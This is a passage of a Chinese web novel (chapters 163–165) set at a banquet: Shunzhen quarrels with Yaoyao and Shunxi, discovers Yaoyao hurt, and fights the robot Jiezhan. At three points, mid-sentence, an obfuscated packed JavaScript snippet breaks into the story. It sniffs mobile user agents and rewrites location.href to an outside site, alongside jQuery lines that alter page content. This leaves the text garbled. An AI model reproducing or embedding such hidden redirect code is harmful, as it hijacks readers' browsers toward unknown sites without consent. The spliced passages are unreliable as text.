曾几何时,她也对这些酒水拥有着怎样曲折的历史和几位数的标价了如指掌,而时至今日,她开始渐渐分不清其中微苦、微涩、微甜、微酸等微妙的味道,也难以辨认泥土、薄荷、雪松、醋栗、烟叶、浆果之类或轻或重的香气。 舜真依稀记得在她很小的时候被送到外地前,母亲还在世时,有睡前喝些酒的习惯。那时的舜真也学着母亲的样子,随意挑选一杯轻转几下,让液体均匀的接触空气后再浅咂一口,闭上眼睛享受地回味半天,再悠悠地飘出一句:“好轻盈的感觉。” 实际上只会被口中酸涩的液体烧得喉咙好一阵痛痒。看着小舜真强撑着品酒的样子,母亲会笑得眼尾泛起波浪,将酒从小舜真手里拿走,再塞给她一只洒满脆片的巧克力甜甜圈。 现在,唯有甜的滋味能够撬动舜真逐渐僵化的心。 树莓酸奶油巴斯克、布朗尼重芝士蛋糕、朗姆酒心巧克力熔岩塔、焦糖布丁、红茶栗子磅蛋糕、黑糖覆盆子玛德琳、芒果百香果可颂塔、开心果奶酪司康和一些精致的饼干和马卡龙…… 她目不转睛地盯着这些惹人怜爱的小家伙们,指尖划过盘边,默念着它们的名字,正准备倾心挑选最可爱的那一只,却用余光瞄到门口出现了她想要寻找的人。 遥遥身着藏蓝色丝绒鱼尾礼服走进宴会厅,在光下熠熠生辉的蓝宝石珠链作为吊带,香肩、锁骨、背后均缝着点钻星纱大蝴蝶结。她利索地将头发侧辫再盘起,垂下几绺碎发刚好修饰了脸型,又将刘海夹起,露出额头,显得落落大方。耳间细长的珍珠耳坠玲珑闪耀着,尾处挂着一对白金永生花。 好像人总是一瞬间长大的,遥遥也不再是当年那个跟在她身后“姐姐长姐姐短”的小孩子了。 舜真记得这对永生花,这是她送给遥遥的。她曾为遥遥亲手带上,说着这样一来,就不再显得遥遥幼稚得像小孩儿,看起来更落落大方。 回忆到这里为止,舜真刚要向遥遥走去,才发现遥遥身旁的孑盏。孑盏伤终于养好了,高大俊朗棱角分明的样子半点都看不出来是快要被扫地出门的丧家之犬。他面色冷峻,一身午夜蓝丝绒礼服,隐晦的华丽。 遥遥亲昵地挽着孑盏,两人笑得灿烂,向众人打着招呼。一位服务生端着酒上前来,孑盏宠溺地看了眼遥遥,抬起食指在杯间绕转,挑了一杯粉红色气泡酒递给身边人。 这一幕险些给舜真雷晕过去,她脸部肌肉微微颤抖,呼吸也愈加急促。她分明是提醒过遥遥这个孑盏有大问题,而且说不定上次遥遥的伤就是这家伙造成的,她为什么…… 看着孑盏一脸假笑,舜真气不打一处来。一只烂铁皮壳子装什么人呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300657|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 她没时间顾及是否优雅,快步走到遥遥旁边。不知遥遥是没看出来舜真满脸的气,又或许是故意装傻,看到舜真时,她笑得灿烂,大幅度扬起了嘴角,“你来啦!” 没等舜真说什么,遥遥一把将孑盏拽过来,顺势直接牵住了孑盏的手,“给你介绍一下,他叫孑盏,是我的男朋友。”她边说边靠在了孑盏身上,眼睛一眨一眨,仿佛是在宣告。 舜真和遥遥对视良久,她难以压抑心里的不快,不顾他人的眼光直接抓住遥遥的手腕,将她拽到一边。 孑盏愣了一下,想到自己手边人怎么可以轻易被夺走,置自己于无物。刚要发作,却被舜真转头的一个眼神逼退。虽说时代不同了,舜真在舜氏的存在形同透明人,孑盏却还是不自觉被震慑到。 灯光昏暗的一角,舜真满心的话被封印在遥遥无畏的眼神下,这便坐实了刚才的一切明显有做戏的成分。 遥遥双手交叉抱于胸前半靠在墙边,面上写着“你要说什么尽管说,反正我是不会听的。” 舜真哑言,她在谈判还没开始就似乎败下阵来,锋芒还没有展露就被一盆冷水浇得蒸发掉了。 “你明知道……” “我知道。” “那你……” “不用你管。”遥遥一字一句干脆毅然,丝毫不给舜真留有余地。舜真没想到有一天她们的关系会落得如此下场,她变得不再果决。 “他只是个机器人啊,不管他说了千次万次爱你永不变,都是不做数的!他真的明白爱吗?你真的明白你自己的心吗?” “你认为凭你仅有对他的一面见识就能让我否定一整个他吗?你什么都不了解,你不觉得太狭隘了吗?” 遥遥口中吐出来的字,每一个韵脚都在戳着舜真的心,她不想这样一味提高分贝,和她对簿公堂不留余地。 “你真的是因为喜欢他吗遥遥?”舜真扬起一丝冷笑,“我早告诉过你孑盏是韶赋修的人,你不信吗?还是因为……其实你也根本就是……” “我要走了。”遥遥打断舜真的话。 “去哪?” “孑盏说要带我离开这。” “去哪!” “我不知道!我只是不想留在这了。我懒得应付这里每天风波不断,我不想被搅进去。我曾经告诉过你,但你没有回应我,那我自己离开好了。” 舜真感到一瞬间心里空了一块。遥遥放下双臂,低头不看对面人,整理着裙摆,语气轻佻,“放心,我不会重蹈你的覆辙。” 一瞬间,湿漉漉的情感染上心头,舜真转过头去,不想让泪水花了她的妆。她感觉到世界好像在这一刻突然阴冷下来,无形的风刺痛着她的内脏。 她忘记了很多,忘记了怎么来到这里又怎么长大,忘记了自己与何人亲密无间幸福长久,却只记得自己对着一个机器人掏心掏肺。 那张挥散不去的面孔,那张她梦无数次还是会流着泪醒来的面孔,虽然现在偶尔还能见到他,但身体里却不是住着之前那个他的灵魂。遥遥一语中的,舜真确实天真,也吃了不少苦。 遥遥扬长而去,回到了孑盏的身边,又将孑盏也拉到别处。泪眼模糊中,舜真看着遥遥的背影孤独寂寥。 然而遥遥的逞强,她一下子就能看出来。 如果事实只是遥遥说的那样,那就简单了,可万一舜真的猜测是真的呢?孑盏是何时被韶赋修策反的他们尚不知情,现在遥遥的立场又变成了未知数。她感觉自己好像从来就没有懂过遥遥的内心。 163. 夜宴(2) 从服务生那里接来一杯酒后,舜真站在阳台边赏月。依旧阴云密布,月光被尽数挡在云后,天空黑暗无边。从缝隙中摸索不到一颗星星,于是舜真的视线从下方的一片森林转移到远处车水马龙的市中心。 微风习习,吹来森林万物的潺潺呼吸声,吹走大厅内功名利禄的捆绑,吹动她的发丝飞扬,她感受到靠近。皮鞋“咯吱咯吱”步步踏近,步调沉稳有规律,她余光望到一个身着黑西装的男人站到她旁边。 舜真刚反感被打扰,却在转头看向男人的时候愣住。所幸她没喝两口酒,甚至没到微醺的程度,不然面对这张脸,她还不知道会说出什么话来。 “找我?” “我找遥遥姐。” “找她做什么?” “我……从今天开始任机械体总队长的职务,舜希让我找遥遥姐帮我整理调职的事。” 片刻,舜真只回了四个字:“我不知道。” 玄烈沉默。这不是他第一次穿西装了,但每一个细节的恰到好处依然使他坐立难安充满不适,领结的束缚感还是让他备受困扰。他想到遥遥或许是会在这里的,便来寻找,但兜了一圈只看到舜真一人站在这里与世无争,想着来问问遥遥的下落。 “会喝酒吗?” “我,不喝。” “会喝吗?” 玄烈再次沉默。舜真转身招呼,服务生单手托盘将几种酒尽数奉上,在舜真眼神示意下,玄烈挑选了一杯颜色最深的,随后两人一起无言。 市中心的灯火通明映在舜真的眼眸里,玄烈却呆呆地望着森林的无尽深处,偶尔听到几声鸟兽的叫喊,这让他心神宁静。 舜真注意到玄烈直直端着高脚杯不肯入口,于是主动向他举起杯中酒。玄烈呆了一下才明白是什么意思,才也举起酒杯与舜真相碰。“叮当”一下,舜真仰头痛饮,将酸辣苦涩一齐吞下了肚。 液体顺流而下,反胃的感觉却在往上顶,她飞快转过头去,险些吐了出来,暗骂了一声,果然借酒浇愁并不适合她。 不好拒绝,玄烈也跟着吞了一口。那股久违的灼烧感即刻燎穿了他的喉咙,玄烈轻咳几声,才勉强掩过了这阵酒。 沉默间,他们错过了上一层大型宴会厅举行的庆典仪式。人们涌入这个小型宴会厅,不大点的空间内愈渐聒噪,商谈声四起。在这个由众多妖魔鬼怪促成的修罗场中,唯有阳台是最后一方净土。 良久,夜间的风变得清冷,舜真忍不住咳嗽了两声,她清了清嗓子,装作无事发生,“还顺利吗?” 玄烈不清楚舜真具体指什么,大概是有关第二战备吧。 “还好。” “那就好,”舜真嘴角微妙地上扬,眼眸婉转出柔和的喜悦,“祝你成功。” “舜真姐,你知道……” 没等玄烈说完,舜真又咳了两声,瘦到近乎皮包骨的手离开栅栏,她面对玄烈充满距离感地礼貌一笑,又举了下空酒杯,“祝你成功。”转身离开。 望着舜真单薄的背影,玄烈只觉得一阵头痛。 杯子里还剩浅浅一层深褐色液体,密密麻麻的气泡繁荣地挤到酒液表面破裂,“嗞啦嗞啦”犹如电光火星在玄烈天灵盖萦绕。 好像今晚的气泡酒比往常的更烈一些了呢。想着想着,腕表“叮”了一下,是一队副队长发来消息友好提醒玄烈记得从阿盼那里要一队机械体指令卡和密钥。 也对,虽说阿盼还是一队队长,但他玄烈已变成了所有舜氏机械体的掌控者,是该把权力要来抓在自己手里了。而且今天是他的生日,是不是该向他道一句“生日快乐”呢? 说起来,舜希答应玄烈的要求也太干脆利落了吧,恐怕她真的认为那盒子是真的,以为不待多日就能让第二战备重见天日了。在舜希的展望里,纵使玄烈带着众机械体造反也大概是敌不过第二战备的。 那么事实确实如此吗?玄烈将那只剔透的高脚杯放在栏杆上,远方城市灯火经由杯子的弧面捏合成星星点点的一团光。 舜真用力按压着薄薄皮肉后方猛烈跳动的心脏,避开人群绕小路蹒跚回到房间。然而她一进门就站不住了,踉跄着扶在洗手台边猛烈地咳嗽,呼吸急促,像是被呛到一般,上气不接下气,直到从大理石台边零星散着几点口中流落血迹才渐渐罢休。 她看着镜子,才发现自己精致的妆容下已经淡淡显现几条皱纹。 舜真有点想流眼泪,但她还能忍得住,毕竟是自己自找的。只是想不到舜希这么快就对她下手了。 这家伙,从来都是要求立竿见影的性子,认定的事绝对会不惜一切手段快速完成,神仙也拉不住。 这紧绷绷的礼服实在难受,她索性换回了常服,又揉了揉僵住的肩颈,将耳环手镯什么的随意一丢,就坐在床上看月亮。 明月皎洁高悬,她独品出来一丝“凄凄惨惨戚戚”的韵味。时间不早了,在那之前,还有些话她想对遥遥说。 最大的宴会厅门口来往都是衣冠楚楚的高端人士,唯有舜真穿着一身休闲服自在闲散地出现在这里,极其格格不入。正当她考虑自己这样大摇大摆走进去会不会坏了气氛时,里面传来炸耳的音乐。 探头一瞧,是几个富家公子哥差人扛来一堆音响,正大肆热闹着。酒水音乐欢笑尽情挥洒,舜真不悦地皱起眉头,无法想象舜希是怎么容忍这帮人在她的地盘妖魔乱舞。 除非这些是涂云的人。 幸好角落有只沙发,舜真贴着墙边迈两步路就坐了上去,她尝试沉浸在恣意畅游的青春激情中,但被聒噪的音乐连连逼退。她在剧烈的耳鸣中感到脑袋里不停嗡嗡震动,于是悄悄捂住耳朵起身寻找遥遥。 只是想找的人还没找到,一个身影的出现像是直接给她脑门猛然一击。 “嘭,嗞——”,音箱被一脚踹到一边去,那些初生牛犊不怕虎的锋利脸庞刚愤怒地要砸杯子,一转头看见来者却只敢灰溜溜抱起音箱跑走了。 男人拍了拍熨帖平整的西服衣角,仿佛刚才的大幅度动作让他失了体面。舜希优雅地抬手捂着她那面具下收敛不住的笑容,细跟高跟鞋在地面蹭出比炸裂音乐声难听十倍的声音。 想不到她也会陪笑……等等,这不是重点。 舜真目不转睛盯着那矮矮的男人。她缓缓起身,还差点忘了放下怀里抱着的靠枕。 “哦?你身体好点了吗?我还以为你不回来的。”舜希对着拖着僵尸步走来的舜真无尽挖苦。 舜真压根没空理她,“你是……向繁森?” 男人扶了扶眼镜,“好久不见,舜真小姐。”那张脸,笑起来都一脸苦相。 “看来你还记得,那我就不必介绍了。”舜希道。 迎着舜希的话尾,舜真暗骂了一声,“果然是个冒牌货……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310988|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音很小,向繁森就是听见了也只能装没听见,否则显得他太小气。但可惜,原本的向繁森恰恰是很小气的人。 他的笑多了几丝不怀好意,“看来这里面有一些误会。舜真小姐,你近来身体还好吗?我之前听闻你要竞选舜氏董事长,民主调查时我还投了你一票。对了,凛烛也还好吧,我听说你们又见面了,不知你……” “说够了没有?”舜真打断了向繁森的话。一上来就满是恶意啊,看来不要脸的狗确实是比青面獠牙的狼难杀。 舜希清清嗓子,“向总,叙旧的话回头再说。我们还有些事要处理,先请您去楼上喝茶如何?” 向繁森脸色发酸,但他知道舜希的话不能拒绝,只好带着凌厉的怒气扬长而去。十步开外,那双鹰一样的眼睛仍死死盯着舜真。 借着向繁森离开空出的位置,舜真看到远处望着他们的玄烈。她把琐碎的问题咽进了肚,“前因后果我不想问,就一点,向繁森,是你的人吧?” “你是问哪个?”舜希故意问道。 舜真牙痒痒,“死的那个。”虽然她觉得这种可能性不大。 “嗯……”舜希点了点自己的太阳系,一副冥思苦想的样子。少顷,她恬淡笑道:“不是。” 她慢慢靠向舜真,略显沧桑的手攀上了舜真的脸庞,舜真嫌弃地立刻拍开了她的手。舜希倒也没恼,“你既然已经怀疑,怎么什么都查不出来呢?” 望着面具上的那双假眼睛,舜真此刻倒觉得悲哀大过被骗的头顶冒火,“因为我不是全知全能的。舜希,我不过也是个人,你我都是人,总会有看不到的地方。” 可能是被舜真虔诚的语气惊到了,舜希半天没再说一句话。 “你要小心啊,舜希,小心你哪天也被韶赋修玩进去。”舜真道。 “放心,我会注意的,”舜希恢复了那股傲气,“否则我也不可能重新站在这里。” “你是不是……给我下药了?”舜真冷不丁地问,”你就这么盼着我死啊?“ “我是为你好,”舜希伸手要来了一杯酒,“往你房间里放了一盆暮夕草而已。” “暮夕草?不是用来养息养神的吗?”舜真不解。 “对,通常放在需要静养的病人房间里,它的气味可以调息,对身体好。只不过……” “只不过我一直不肯静养,总是跑来跑去背着你做事从不休息,效果会适得其反对吧?”舜真此话一出,又差点控制不住要咳血了。上涌的气浪冲撞着她的喉咙,不得已,她微微耸起肩,想强压下她时日不多的表现。 “可惜,你怎么就不听话呢?”舜希惋惜地俯视着她。 擦去隐隐的血,舜真长疏三口气,终于捱过去了这一阵,“什么时候变成这样了?” “什么?” “咱们,什么时候变成这样了?变得决裂、非要分个你死我活?” 又沉思片刻,舜希悠悠开口,“大概是从……那次你为了掩盖你第一战备所犯下的过错推到我身上的时候吧。” “不对,再早一点,从你暗中帮助潼氏打压我们新建的三代机械体研发团队的时候。你不记得吗?因为你的泄密,舜氏整个三代机械体研发延缓了近十年。“ 舜真笑了,从舜希手里拿过那杯酒抿了几口,把嗓子里激荡的血咽了咽。 “我说的没错吧,潼霜。” 164. 夜宴(3) 见舜希不回复,舜真装作散漫地朝侧边踱了几步,借舜希挡住了自己全部的身影,令远处玄烈的视线无法直刺到她身上。 “那场险些灭了潼氏的大火是因你而起吗?故意留下潼玚却让她所有亲人殒命于此,舜希,你手段够毒辣的。” 舜希则哼了一声,“有韶赋修在,她应该不会难过到哪去吧……还有,那场火不是我放的。真正的幕后黑手么……你可以大胆猜一猜。” “除了你还会是谁?”舜真显然无法相信她的话,“总不能是韶赋修故意要削弱潼氏实力吧?故意看潼玚悲痛欲绝?” 但从舜真提到“韶赋修”三个字开始舜希就不停微微摇着头,不怀好意极尽嘲讽的怪笑挂在她脸上挥散不去。 “不,是舜延。” 舜真当时就燃了,仿佛这言论荒谬得让她除了破口大骂说不出别的话来,“你开玩笑吧?!” “就是舜延,”舜希严肃地重复了一遍,那双假眼带着不可亵渎的味道,“你大概不知道,他起初为了让我打进潼氏内部到底干了多少龌龊事……” “所以……” “所以这就是为什么除了你之外再没有任何一个人从舜氏这里发现潼霜身份的漏洞,因为从一开始就是舜延打点的一切,”说着说着,舜希语气里倒显出点无奈来,“也很合乎逻辑。就像正派被埋在反派手下的卧底,到最后也会在种种现实因素面前被感染成了彻头彻尾的反派了,是这么形容的吧?” 角落里,那冰凉的玻璃杯已经被玄烈攥得滚烫,怕是他手上再用点力,杯子就直接被他捏碎了。但他控制不住,手下还在不由自主地发着力。等到杯子颤抖起来,他才听到舜真的反应。 显然舜真刚才是被这件事的原委惊到了,只听她苦笑着讽刺道:“是挺合乎逻辑的……好啊,这老头,终于让我在我死前对他改观了。这么看起来,你俩确实挺像的,怪不得他那么看重你。” “是吗?被你这么一说,我好像白活了,”舜希满不在乎地撩了撩额角的发丝,“至于你刚刚问的问题,我也可以让你死前明白透彻。你问咱们什么时候关系变成这样,在我看其实没有变化,一开始就是这样。” 舜希边说着,边也向远方服务生招了招手,又要来一杯红酒。她这一挪位置,舜真的身影再次出现,这回她那强忍着的痛苦状态在玄烈眼里淋漓尽致地立体起来。 “我从记事起就在永璃岛,在舜延身边,而你一直在我不知道的地方生活。说实在的,没有一起长大,我对你根本也没什么感情,当初所谓的姐妹情深……大多只是为了希望你能早日替代掉我的位置,好让我能自由。” 印象最深的是舜真读高中的时候。那时她初来永璃岛,常被学校里那些富家子弟当没见识的小孩看。孤单住校的日子里,舜延常对她不管不问,即使发来消息也总是写令人烦闷的唠叨。 她没什么零花钱,带着的电子设备除了能直接联系舜延外,只有学习有关的软件被允许使用。那时的高科技屏障坚实得如穿不破的太阳表面,任何有可能的翻越行为都会被记录与严惩。 舜真从那时起习惯写信。一些不能为外人道也的话,她只能给两个人写。其中一只收不到,因为机械体的所有信件都必须经过中央筛查,她才不可能把这些话给别人看,每次写完就只能夹在书里,当作发了一封收不到回音的信。 另一个人就是舜希。在舜延的期望和要求下,她早早越无数级修完了大学本科的课程,舜延也经常请来各个学科的教授导师给她上小课,于是她基本日常就被困在了舜氏里。 如今舜真已记不清了她当时给舜希究竟写了什么,总之她羡慕别人的所有想要的,舜希总有办法给她搞来。无论是精致豪华用来撑面子的名牌服饰或是昂贵限量的没用小零件,只要她提到,第二天门卫处最大的包裹绝对属的是舜真的名字。 舜希从不回信,除了一次舜真因为学生会的事和朋友产生分歧,被同学大骂是没朋友的犟种的时候,舜希写来一句话。 舜真至今清晰地记得她拿到那封信的瞬间,那张淡粉色散发着幽香的信纸,那块全世界限量十张的虹彩金凤凰邮票,和大片空白中一串清隽有力的钢笔字。 她说:“无论发生什么事,我永远信任你,永远站在你这一边。” “不管怎么样,”舜希摇了摇杯中的酒,使那清冽的红色在高脚杯里飞扬起来,“确实有很多地方你强过我。可惜,舜延那老头子偏偏抓住我不放。” 片刻,哄闹声和欢笑声再次响彻宴会厅,舜真拔凉拔凉的心同方才的安静一同被驱赶地无所安防,她忍不住想捂起耳朵。 左顾右盼着声音的来源,舜真很快发现在一群青春靓丽的漂亮女孩身边,孑盏正笑逐颜开手舞足蹈,身边已然不见遥遥的身影。 他不停向那些姑娘们炫耀着什么,惹得几个姑娘上手要抢,不仅没抢到还险些扑进他的怀里。人影夹杂间,舜真瞄准那颗闪亮亮的小东西,是一枚白金永生花。 “哎,那家伙你还不打算处理掉吗?”舜真冷着眼,脸颊微搐道。 “他?”舜希像看垃圾一样瞥了眼孑盏,“他是韶赋修的人吧。不着急,让他再闯点大祸。听说他要带着遥遥私奔?一时半会儿走不成了。” “你小心遥遥被他策反。”舜真盯着孑盏那张遭人恨的脸,握紧了拳。 “遥遥已经是了吧,”舜希的目光也落到孑盏身上,“你还不知道吗,之前遥遥正是没完成好他的任务,才被他打成那个样子。” “是他打的?!” “不然呢?你以为是我?”舜希又笑了,“大概是孑盏为了邀功想要私自劫玄烈要碎片,但遥遥告诉了仪琅,本意是想帮他,却坏了他的好事。” 天台上的事历历在目,舜真洞悉前情后果,以为纯粹是这两只机械体没协调好任务,想不到还有遥遥的事。 “为一段虚假可笑的感情不惜一切去受伤,这就是你教的孩子?不如早点告诉她,孑盏是不会带她走的,早点断了她的念想。”舜希抬手,将杯子磕向舜真手里的高脚杯。 玻璃碰撞发出清脆声响,舜真怒火浇心,来不及揪住孑盏的衣领细细盘问,转身跑出宴会厅。 舜希没尝一口那酒,她一闻就知道自己没拿到品质最好的私酒,而是酒庄刚送来年份还很近的一批新酒。 没急着责备下人,她将酒杯高举起来抬在脸前,杯壁反射出她后方宴会厅的装潢,那个身影已经离开了。舜希侧头瞄了一眼,把酒丢在服务生托盘里,迈步走出了宴会厅。 宴会厅往上七层楼都是为来往宾客准备的客房。舜真穿梭在人来人往,她脚步匆匆,迅速溜入了近乎要超载的电梯,电梯缓慢,如同她的心,沉重,却硬生生提到了嗓子眼。 一秒,两秒,三秒。 电梯爬一层楼竟然用了三秒,门开的那一瞬间舜真刚要冲出去却被堵在了门口,一群光鲜亮丽的人们互相假模假样地互相问好,上电梯、下电梯,虚假的笑容把慌忙的舜真包裹住不得动弹。 她一把推开众人,开始挨个敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舜真顾不得别的,勉强唤来红刃朝门把手狠狠砸了三遍,才将门锁破开,“哐哐”的声响几乎能惊动整栋楼的灵魂。 随着木头碎裂和金属变形崩开的声音,舜真将门撞翻。门内无光,楼道灯压着她的背影涌入房间。她逆着光,看到哭化了妆的小人衣衫不整坐在床边地上,梨花带雨泪眼汪汪,正绝望地看着她。 对目无言,遥遥抽噎着,舜真颤栗地直盯着遥遥的眼睛,痛心、生气和不忍全化成她周遭的低气压环绕,有口气一直在喉咙边上下摇移,心突突地跳着,眼泪吧嗒吧嗒流淌下来。 她注意到遥遥颈侧和锁骨上的血痕,脸边似乎也有几道。华丽的礼服被撕破,胡乱地被缠绕在身上,精致的发型也变得乱糟糟,眼线晕染开,嘴角裂口流的血与化开的口红融在一起。 舜真从上到下心疼地将遥遥打量了一遍,脱下外套给遥遥披上,又一把从自己的衣服撕扯下布条绕在指尖,轻轻地给遥遥擦拭着嘴边的血迹。遥遥泪水还在不停流,舜真再不敢看她的眼睛。 难以压抑,无法忍受,舜真越是为遥遥处理伤口,就越是急火攻心。手开始不停颤抖,舜真不能自控地扶着地板,如鲠在喉。 最后一次,她想着再看一次遥遥的眼睛。那凶狠的眼神把遥遥吓坏了,她连忙扶住舜真的肩膀,抿着嘴,一个劲地摇头,泪水大颗大颗往下掉。 “他说他要把第二战备偷出来,要把玄烈和你杀掉。”遥遥垂头说着。 她攥紧了拳头,青筋暴起,她要算账。 舜真一把要站起来,遥遥拼命拉着她,却被推开了手。 “不要,不要!”遥遥轻声恳求。 舜真一言不发,她再次为遥遥披好了衣服,瞋目扼腕离开。 有她的沉寂和没她的沉寂是不一样的,遥遥似乎都独坐回到了绝望的深渊里。她呆呆望着门口,两行混杂着妆液的浑浊眼泪从她下颌滑落到地板上,“再见……”她小小声说道。 165. 夜宴(4) 沿着原路返回,舜真的步速随着离那个金属禽兽越来越近而加快。 宴会厅寻觅不到,楼上楼下几趟也不见人影,舜真来不及感受累和疲惫,她想到正在装修的休闲庭院正是把妹的好地方,于是转向楼后。 舜真在颠转前做的最后一件事情不是安顿和抵抗涂云的压迫,而是新圈了一块空地用作建设休闲场所,把楼顶的喷泉拆掉,又把藤蔓廊架搬了过来。只是从颠转开始这里的装修就被搁置了,表面倒是没修几层楼,地底倒是挖的无比深。 尚未成型的低矮建筑一片死寂,月光斜撒在没有温度的钢筋混凝土上。 隐隐嗅到刺鼻烟味,舜真步履匆匆,谈笑声渐进,拐过转角紫藤廊架,尽头有一男一女倚在一起调情。 那机器学着人类模样吞云吐雾,眼神迷离讲话油腻,惹得对方小姑娘颔首笑个不停。 舜真大步流星上前直直立在两人面前。机器人两指夹烟怔了一下又礼貌笑笑,女孩被吓了一大跳,活像是早恋被家长抓个正着的中学生。 “你,有事吗?” 女孩诧异,眼神在舜真和孑盏之间游移。孑盏没吐半个字,饶有兴趣地看着舜真要气到冒火的眼睛,慢悠悠吹出一个烟圈。 “您是……”女孩突然认出了舜真,心里一紧,皱起眉头眨巴眨巴眼睛,慌乱从一旁拿起包跑开了,高跟鞋“咯哒咯哒”的声响一路远去。 舜真一把抢过孑盏手中的半截烟丢到地上,整张脸泛着冷若冰霜的寒气,想说的话一路直上卡在嗓子眼。 孑盏敛起受惊的眼神从对面人苍白的脸色移开,垂眼看了看自己的指尖,不紧不慢地整理领结,冷笑道:“原来是大小姐,您有何贵干?” 喉咙仿佛厚重地缠了几层胶布又铺了许多浆糊,舜真讲不出话,只能一声声沉重的喘息。 “我说,她都这样气你了,你还管她的事儿干嘛?” 孑盏咧着嘴扭动了一番脖颈,漂浮的烟圈早已消散,刺鼻的味道不减,地上烟头的火星熄灭,没人听得到杯中起泡酒的最后一颗气泡悄悄“嘣”的一声炸裂。 在沉默对视的三秒后,孑盏突然托起酒杯向舜真狠狠泼洒去,顷刻之间,舜真闪电般抬起手猛地翻掌向酒杯推去,一股内力顺着指尖延伸到酒杯中晃动的佳酿,又顺延孑盏的指尖,触电一般的刺痛和难以阻挡的力量让孑盏险些失了手,而这些美酒便洋洋洒洒的尽数泼回到了孑盏脸上。 “你!” 舜真倏然揪起孑盏湿漉漉的礼服衣领,看到他左脸颊隐约重叠着几个口红印,直接怒火中烧燃到天灵盖。 “我不是没有警告过你。” 字字切齿,舜真顾不得孑盏的挣扎,以难以抵抗的力气将他拖到隔壁灰色半成建筑内。 被一杯酒浇得有点懵的孑盏强硬地甩开舜真的手,歪头控了控水,笑得嚣张。趁舜真不注意,右手五根手指猛地化成五根长尖刺,手腕腾转挪移,张开手掌向舜真雪白的脖颈划去。 舜真避闪不及,慌张抬起左臂阻挡,却还是被指尖划出了三条隐隐渗血的痕迹。吃痛的一刹那,舜真余光瞥到孑盏抬起的左腿借势要朝她小腹踹去,推开对方右爪侧身躲闪,又一把抓住几根利刃向反方向硬掰,顺势一转身抬臂,舜真狠狠向孑盏右耳来了一肘击。 一声机械错乱巨响,孑盏近乎要昏迷,如果他有一副人类肉身,此刻怕是要大吐一滩血。耳间强烈的耳鸣几乎让他睁不开眼睛,刺裂的电流声在脑中回转,急救系统也告了急,孑盏记不得自己为什么来到了这。 舜真抹了一把脖间的血,淡淡看了一眼手掌,目光移向了面前这架有些变形的机器,“废物。”舜真抬手抵着孑盏的额头,将他的后脑一把磕向后方的墙壁,硬生将那混凝土磕出一窝凹陷。 “你为她做了……那么多,到、到头来……她还是,会离开你……” 舜真无言,孑盏模糊间瞄到她难看的脸色就知道自己一语中的,“你以为,她……能记得,你的恩情,实际、实际上,她……” “她说什么!”舜真没控制住自己的情绪,话出了口才想到自己失了稳重。 “说……”孑盏只吐了一个字就闭上了嘴,浅浅笑着,笑容复杂阴郁,留着气口故意让对方着急。 舜真强忍着往对方脸上啐口唾沫的冲动,一把掐住孑盏的脖子,手上逐渐施力,孑盏只觉喉咙越来越紧,几乎是要断了,欠揍的脸变得扭曲,“她说,她说……” 四目相对,孑盏眼神突然变得凶狠,“她说她恨你。”随即便大声猖狂地笑了出来。 听到这话,舜真突然松了口气,这下几乎可以断定孑盏什么都不知道,只不过眼下处境危险,装相放手一搏罢了。她冷笑一声,“早知道有如今,当初就该从流水线上把你扔垃圾桶里。” 舜真斩钉截铁双手将对方头一掰,整架机器就失去了意识,她摸向机器人的后脑,将智识芯片摸了出来,举起来打量了两圈,想来就这样处置了这台机器未免太轻饶了。 “住手!” 顺着这中气十足的一声吼,舜真看到了那熟悉的圆形机械体影子。有段时间不见了,不是窝在办公室就是在地下和第二战备取得联系的时候,她常听说玄烈被这阿盼气得不浅。 舜真就这么淡然地看着对方,不管对方瞪起的怒目和扬上天的眉毛,不紧不慢地“咔哒”一声,掰断了手中的芯片,扔到了一边。 “你!” 阿盼眼睛睁得溜圆,“你、你把他杀了?!” “他又不是你的人,”舜真拍了怕手上的灰,“阿盼队长,现在轮不到你来问罪了吧?” 舜真想到遥遥还独自受伤倒在楼上,一门心思只想往外走,于是自顾自迈开了脚步。 “站住!”舜真当然不会因此停住脚步,但刚要走到门口却被阿盼一把拦住,“可恶,你还把自己当高高在上的大小姐呢?杀了人就想跑?没这个道理吧!” 阿盼飞速间攥拳冲向舜真的肩膀,却被躲开,另一拳麻利地跟上,却也被躲开。他憋红了眼,一个劲往前横冲直撞,肉厚且速度极快,逼得舜真练练后退,甚至没空反击。 许久不见阿盼竟也成长到这个地步了,真是让舜真刮目相看。但她刮目相看的同时也忍不住唏嘘,可怜这个到死期将至都仍渴望得到别人承认的孩子。 阿盼旋风一阵刮过,将这一带的墙壁都卷下一层皮来。眼看要被逼到墙角,舜真立刻一脚蹬着墙借势转到阿盼身后,狠狠给了阿盼后颈一手刀。阿盼疼得一缩,反手抓住舜真的手臂,转身蓄足了力,给对面人来了一拳。 照往常来说,舜真都不用发力,轻轻一闪就定能避开这一击甚至径直飞到阿盼头顶给他爆头。但现在不比往常。 来不及反应,舜真只能慌忙抬起另一胳膊阻挡。冲击力连带舜真整个人推出去老远,她一把扶住身旁的铁脚手架才得以站稳。 痛意以成倍速度扩散,舜真艰难地抬起受力的胳膊,发现手臂连同手腕处都有不同程度肿胀,所幸自己身体里有一部分钢筋铁板做盾牌,否则现在就不止是骨裂这么简单。 